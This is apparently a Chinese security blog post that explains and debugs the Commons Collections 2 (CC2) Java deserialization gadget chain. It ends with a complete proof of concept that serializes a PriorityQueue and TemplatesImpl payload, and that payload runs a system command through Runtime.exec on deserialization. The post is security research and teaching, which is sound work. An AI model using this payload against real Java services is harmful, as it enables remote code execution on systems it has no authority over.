0x01、POC分析

//创建一个CtClass对象的容器
ClassPool classPool=ClassPool.getDefault();
//添加AbstractTranslet的搜索路径
classPool.appendClassPath(AbstractTranslet);
//创建一个新的public类
CtClass payload=classPool.makeClass("CC2");
//让上面创建的类继承AbstractTranslet
payload.setSuperclass(classPool.get(AbstractTranslet));
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"cmd.exe\");");

首先是通过getDefault创建一个CtClass对象的容器,然后appendClassPath()来添加添加AbstractTranslet的搜索路径;

然后创建一个public修饰的类,类名为CommonsCollection2;通过setSuperclass来设置父类;我们在想想看get()方法是干嘛的?通过该文章javassist使用,可以知道是查找AbstractTranslet

此处总结就是:设置父类为AbstractTranslet

然后创建一个静态代码块,静态代码块中设置内容为:

java.lang.Runtime.getRuntime().exec("calc");

第二部分

//反射创建TemplatesImpl
Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
//反射获取templatesImpl的_bytecodes字段
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");
field.setAccessible(true); ///将templatesImpl上的_bytecodes字段设置为runtime的byte数组
field.set(templatesImpl,new byte[][]{bytes}); //反射获取templatesImpl的_name字段
Field field1=templatesImpl.getClass().getDeclaredField("_name");
field1.setAccessible(true); //将templatesImpl上的_name字段设置为test
field1.set(templatesImpl,"test");

然后通过反射创建,通过实例化调用了构造无参构造,然后newInstance()来实例化对象,通过反射获取private修饰的_bytecodes属性;获取私有的时候需要使用暴力反射;

然后将反射获取的_bytecodes变量赋值为bytes变量

bytespayload.toBytecode(),而payload是CommonsCollections2类的内容;将templatesImpl上的_bytecodes字段设置为CC2类的的byte数组;

然后再通过反射获取到private修饰的_name变量,最后通过反射设置该变量的值为test

第三部分

InvokerTransformer transformer=new InvokerTransformer("newTransformer",
new Class[]{},
new Object[]{}); TransformingComparator comparator =new TransformingComparator(transformer);

而我们通过cc1知道,InvokerTransformer第⼀个参数是待执⾏的⽅法名第⼆个参数是这个函数的参数列表的参数类型第三个参数是传给这个函数的参数列表接着获取了 InvokerTransformer 实例对象.

所以这边是去调用了newTransformer这个方法,后面再细讲;然后TransformingComparatorcompare方法会去调用传入参数的transform方法。

第四部分

//使用指定的初始容量创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。
PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(1); Field field2=queue.getClass().getDeclaredField("comparator");
field2.setAccessible(true);//暴力反射
field2.set(queue,comparator); Field field3=queue.getClass().getDeclaredField("queue");//获取queue的queue字段
field3.setAccessible(true);//暴力反射
field3.set(queue,new Object[]{templatesImpl,templatesImpl});

构造参数有三种,然后我们这是第二种,自定义容量大小;然后将指定的元素插入此优先级队列,默认是升序排列;

此处是实验代码~~~,由于本人懒,就不单独写,直接修改一下下;

然后通过反射,去获取comparator变量,并且最后在comparator变量设置值为comparator

Field field3=queue.getClass().getDeclaredField("queue");
field3.setAccessible(true);//暴力反射
field3.set(queue,new Object[]{templatesImpl,templatesImpl});

最后步骤一样,设置queue变量为Object数组,内容为templatesImpl;最后就是输出序列化流

那为什么要添加两个呢?这个稍后调试的时候讲解

0x02、poc调试

这里我先说明一下,因为我昨天去和朋友happy,和初中同学聚了一下还看了唐探3,给忘记了我写了啥东西;所以poc分析就按照之前的废稿写进;然后这边poc我是摘抄自nice一位师傅的;其次就是这边调试我会按照我的思路讲; 接下来就进入正文了

这里不知道上文分析的逻辑,也不想读,就重新理解过程;这边我们看看yso的利用链,这边入口点是PriorityQueue.readObject();知道了路口点,那我们可以进去查找下这个readObject()方法。

断点下好后我们就可以开始debug了,因为前面部分都不是重点。

这边有几个步骤,首先是调用默认的 ObjectInputStream.defaultReadObject() 方法 ,把序列化的文件进行 反序列化去读取数据;然后调用 ObjectInputStream.readInt() 方法读取优先级队列的长度。

SharedSecrets.getJavaOISAccess().checkArray(s, Object[].class, size);

此处继续检查集合的容量和类型,然后循环读取数组 queue 的内容这里与 PriorityQueue.writeObject() 方法对应 . 读取 queue 数组的内容

最后进入heapify()方法中,我们f7继续跟进去看看

进去之后我们发现是调用了siftDown()方法;那这for判断的是啥?

这时候就涉及到了exp中为何要添加两个值到容器中

那么我们看看for是怎么判断的?

通过此处,size知道为2,经过计算后为0,判断i大于等于0的时候,执行代码的内容为0,满足这条件;那我们无法判断是否是此处的问题,我们可以修改exp试试

queue.add(1);
queue.add(1);

我们先将此处注释掉一个

最后我们在debug到那一步去看看size的值是多少

这时候可以发现是size的值是1;如果还有什么疑惑的话,没事,下面我们会分析如何构造出这份exp;

那么我们回归正文,我们继续F7进入siftDown()方法看看

这个方法可以看到有两个参数,第一个是整数类型的,也就是数字;第二个X是什么?

X是:queue[i] = queue[0] = TemplatesImpl对象

然后再判断comparator值不为空的时候为true;然而这个comparatorTransformingComparator类型的值,所以进入这个siftDownUsingComparator

我们继续f7跟进siftDownUsingComparator方法里面

然后一直f8到了此处,具体上面的我就不细讲了。这边调用了compare

注意:comparatorTransformingComparator类型的值,所以可以知道调用的是TransformingComparator类里面的compare()方法噢

所以我们f7进去,查看是不是跟我们的想法一致(读者:这不屁话吗,不一致就大结局了)

注意个问题,这边两个参数的内容都是TemplatesImpl的实例化对象。那this.transformer呢?

此处是InvokerTransformer类型的值,所以这边调用的是InvokerTransformer里的transform()方法;这就有点类似CC1里面的了,绕到此处,使用反射进行rce;

但是,这里我们就要细节了,注意看上图中的时时变量,

所以我们跟进去看看所谓的细节~~,既然调用了newTransformer方法,我们就进去看看这个方法。那这是哪个类的呢?

这里类型是这个,也就是exp构造的类型,所以这个方法属于这个类中的

TemplatesImpl.newTransformer() 方法主要用于获取 TemplatesImpl 实例对象 , 后面可以使用此实例处理来自不同源的XML文档 , 并对其进行转换等操作。其中会调用getTransletInstance方法。前面可是没有条件判断,意思就是必进的点

进入了getTransletInstance()方法中

方法用于生成 translet 实例对象 . 这个实例对象随后会被封装在 Transformer 实例对象中。

为什么构造 Payload 时 _name 字段不填充会利用失败 ?

其实是因为 getTransletInstance() 方法会对 TemplatesImpl 对象的 _name 字段有一步判断 , 如果该属性值为 null , 则直接返回 null;不为空的时候,才能进入下面的条件分支

接着代码会判断 _class 字段值是否为空 , 如果为空就会调用 defineTransletClasses() 方法 . 这里 _class 字段为空 , 因此我们跟进该方法。

该方法会对 _bytecodes 字段进行解析 , 核心代码如下:

代码会通过 loader.defineClass() 方法将字节码数组转换成类的实例 。

而唯一的条件就是该类的父类为 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet

然后一直到最后,defineTransletClasses()执行完后会跳回刚刚的地方

由于变量 _transletIndex 的值为 " 0 " , 因此 _class[_transletIndex] 实际上就是我们通过 JAVAssist 构造的恶意类 。

现在会对恶意类调用 newInstance() 方法 , 类会先被加载后再被实例化 .

类在加载时会调用静态代码块中的内容 . 因此服务端最终会进入 java.lang.Runtime.getRuntime().exec() 反射链 , 执行系统命令。

0x03、完整POC

import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer; import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue; public class exp {
public static void main(String[] args) throws Exception {
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; ClassPool classPool=ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);
CtClass payload=classPool.makeClass("CC2");
payload.setSuperclass(classPool.get(AbstractTranslet));
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); byte[] bytes=payload.toBytecode();//转换为byte数组 Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");
field.setAccessible(true);//暴力反射
field.set(templatesImpl,new byte[][]{bytes}); Field field1=templatesImpl.getClass().getDeclaredField("_name");
field1.setAccessible(true);//暴力反射
field1.set(templatesImpl,"test"); InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
TransformingComparator comparator =new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(1); Field field2=queue.getClass().getDeclaredField("comparator");
field2.setAccessible(true);
field2.set(queue,comparator); Field field3=queue.getClass().getDeclaredField("queue");
field3.setAccessible(true);
field3.set(queue,new Object[]{templatesImpl,templatesImpl}); ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
outputStream.writeObject(queue);
outputStream.close(); ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
inputStream.readObject(); }
}

0x04、总结

可能有部分不好,因为分析一半出去玩,然后一回来写,进入状态有点不佳,但是应该很详细了;而CC2链涉及到了两个知识点: JAVAssist 与 PriorityQueu;所以学下这两个知识点就差不多了

参考文章:

https://www.cnblogs.com/nice0e3/p/13860621.html

https://www.cnblogs.com/kuaile1314/p/14239789.html

https://www.cnblogs.com/0x7e/p/14246855.html

https://www.cnblogs.com/0x7e/p/14246623.html

Commons Collections2分析的更多相关文章

  1. Java安全之Commons Collections2分析

    Java安全之Commons Collections2分析 首发:Java安全之Commons Collections2分析 0x00 前言 前面分析了CC1的利用链,但是发现在CC1的利用链中是有版 ...

  2. Ysoserial Commons Collections2分析

    Ysoserial Commons Collections2分析 About Commons Collections2 CC2与CC1不同在于CC2用的是Commons Collections4.0; ...

  3. Java安全之Commons Collections3分析

    Java安全之Commons Collections3分析 文章首发:Java安全之Commons Collections3分析 0x00 前言 在学习完成前面的CC1链和CC2链后,其实再来看CC3 ...

  4. ysoserial Commons Collections2反序列化研究

    Apache Commons Collections2反序列化研究 环境准备 JDK 1.7 Commons Collections 4.0 javassit 前置知识 PriorityQueue() ...

  5. Java安全之Commons Collections1分析(二)

    Java安全之Commons Collections1分析(二) 0x00 前言 续上篇文,继续调试cc链.在上篇文章调试的cc链其实并不是一个完整的链.只是使用了几个方法的的互相调用弹出一个计算器. ...

  6. Java安全之Commons Collections1分析(一)

    Java安全之Commons Collections1分析(一) 0x00 前言 在CC链中,其实具体执行过程还是比较复杂的.建议调试前先将一些前置知识的基础给看一遍. Java安全之Commons ...

  7. Java安全之Commons Collections1分析前置知识

    Java安全之Commons Collections1分析前置知识 0x00 前言 Commons Collections的利用链也被称为cc链,在学习反序列化漏洞必不可少的一个部分.Apache C ...

  8. Java安全之Commons Collections1分析(三)

    Java安全之Commons Collections1分析(三) 0x00 前言 继续来分析cc链,用了前面几篇文章来铺垫了一些知识.在上篇文章里,其实是硬看代码,并没有去调试.因为一直找不到JDK的 ...

  9. Java安全之Commons Collections5分析

    Java安全之Commons Collections5分析 文章首发:Java安全之Commons Collections5分析 0x00 前言 在后面的几条CC链中,如果和前面的链构造都是基本一样的 ...

随机推荐

  1. 微信登录4-开发回调URL

    一.准备 1.引入pom依赖 在要使用HttpClient的项目中加入依赖 <!--httpclient--> <dependency> <groupId>org. ...

  2. innodb锁和事物

    • InnoDB存储引擎支持行级锁,其大类可以细分为共享锁和排它锁两类• 共享锁(S):允许拥有共享锁的事务读取该行数据.当一个事务拥有一行的共享锁时,另外的事务可以在同一行数据也获得共享锁,但另外的 ...

  3. 【Android初级】如何动态添加菜单项(附源码+避坑)

    我们平时在开发过程中,为了灵活多变,除了使用静态的菜单,还有动态添加菜单的需求.今天要分享的功能如下: 在界面的右上角有个更多选项,点开后,有两个子菜单:关于和退出 点击"关于", ...

  4. ESXI6.7主机降级至ESXI6.5

    上一条博客vcenter添加主机失败:https://www.cnblogs.com/Crazy-Liu/p/11211760.html 原因esxi主机和vcenter版本不一致,因为vcenter ...

  5. 省选复习 - LCT 笔记

    目录 LCT 笔记 主要功能 和其它数据结构的比较 思想 虚实剖分 如何维护所有的链 实链 虚边 开始构思 具体要维护的功能(从基础到高级) Splay部分 access(u) make(u) fin ...

  6. Oracle删除表中的重复数据

    Oracle数据库删除表中的重复数据,只保留其中的一条,以两个字段为例,提供两种方法 ①.直接delete重复的数据 delete from table_name t1 where (t1.col1, ...

  7. MariaDB数据库---主从复制,galera架构

    主从复制 补充一点:⑤slave端的IO thread 将从master端请求来的二进制日志文件中的内容存储到relay_log(中继日志)中 图片来源:https://www.cnblogs.com ...

  8. 【疑】接入交换机lacp port-channel连接核心突然中断

    现状: 职场网络架构为接入交换机2个端口通过lacp协议的active模式组成port-channel上联到核心. 具体配置如下 接入: 核心: 故障现象: zabbix监控到核心交换机对应该接入交换 ...

  9. 小白搭建WNMP详细教程---NGINX、MYSQL、PHP的整合配置

    我自定义安装后的目录结构如下: 安装在D盘的WNMP下,其中WWW是网站的目录.ZIPS是放压缩包文件. 一.配置环境变量 在桌面右击我的电脑,选择属性,出现窗口后,按下图所示操作: 点击编辑后,会出 ...

  10. thymeleaf第二篇:理解原理并为后面springboot进行整合进行铺垫

    官方入门之从虚拟商店理解thymeleaf 参考文档: 简单使用Thymeleaf API渲染模板生成静态页面 邮件通知改造之Thymeleaf渲染模板生成静态页面--看懂会帮助理解springboo ...